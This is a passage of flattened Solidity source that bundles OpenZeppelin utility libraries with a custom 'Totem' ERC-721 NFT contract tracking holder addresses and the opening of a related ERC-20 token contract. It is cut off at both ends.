to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } // File: @openzeppelin/contracts/utils/Strings.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/TotemNFT.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; contract TotemNFT is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; mapping (address => EnumerableSet.UintSet) private _holderTokens; EnumerableMap.UintToAddressMap private _tokenOwners; mapping (uint256 => address) private _tokenApprovals; mapping (address => mapping (address => bool)) private _operatorApprovals; mapping (address => bool) private _isTotemOwner; address[] private _totemOwners; string private _name = 'Totem'; string private _symbol = 'TOTEM'; uint256 private constant MAXSUP = 100; mapping (uint256 => string) private _tokenURIs; string private _baseURI; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } function mint(string memory _tokenURI) public returns (bool) { require(msg.sender == owner(), "caller must be the owner"); _mintWithTokenURI(owner(), _tokenURI); return true; } function _mintWithTokenURI(address _to, string memory _tokenURI) internal { uint _tokenId = totalSupply().add(1); require(_tokenId <= MAXSUP, "Max supply 500 TOTEM's"); _mint(_to, _tokenId); _setTokenURI(_tokenId, _tokenURI); } function totemOwnersNow() public view returns (uint256) { return _totemOwners.length; } function isTotemOwner(address account) public view returns (bool) { return _isTotemOwner[account]; } function gettotemOwners (uint256 index) public view returns (address) { return _totemOwners[index]; } function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } function baseURI() public view returns (string memory) { return _baseURI; } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); if (from == owner() && to != owner() && balanceOf(to) == 0) { _isTotemOwner[to] = true; _totemOwners.push(to); } else if (to == owner() && from != owner() && balanceOf(from) == 1) { for (uint256 i = 0; i < _totemOwners.length; i++) { if (_totemOwners[i] == from) { _totemOwners[i] = _totemOwners[_totemOwners.length - 1]; _isTotemOwner[from] = false; _totemOwners.pop(); break; } } } else if (from != owner() && to != owner()) { if (balanceOf(from) == 1) { for (uint256 i = 0; i < _totemOwners.length; i++) { if (_totemOwners[i] == from) { _totemOwners[i] = _totemOwners[_totemOwners.length - 1]; _isTotemOwner[from] = false; _totemOwners.pop(); break; } } } if (balanceOf(to) == 0) { _isTotemOwner[to] = true; _totemOwners.push(to); } } _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/TotemToken.sol pragma solidity ^0.6.2; contract TotemToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rewardsReceived; mapping (address => uint256) private _tokenOwned; mapping (address => mapping (address => uint256)) private _allowances; uint256 private constant _tokenTotal = 4316539 * 10**9; uint256 private _tFeeTotal; TotemNFT public totemNFT; string private _name = 'Totem'; string private _symbol = 'TEM'; uint8 private _decimals = 9; address public constant burnaddr = 0x000000000000000000000000000000000000000d; constructor (TotemNFT _totemNFT) 